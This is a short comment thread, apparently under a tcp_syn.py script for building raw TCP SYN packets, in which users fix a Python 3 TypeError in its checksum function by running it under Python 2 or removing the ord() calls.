Good concept

I get the following error:

Traceback (most recent call last):
File "tcp_syn.py", line 92, in
tcp_checksum = checksum(psh)
File "tcp_syn.py", line 16, in checksum
w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
TypeError: ord() expected string of length 1, but int found

@Hubber90 Got the same error, was solved by running it with Python2

I got the same problem; it’s because in Python 3 indexing an encoded string gives an int, which makes the calls to ord redundant. Removing the calls makes the program run perfectly.

@DragonlordNewb bro would u please mention what should we change exactly?
iam a noobie btw.

This is great, full control of TCP
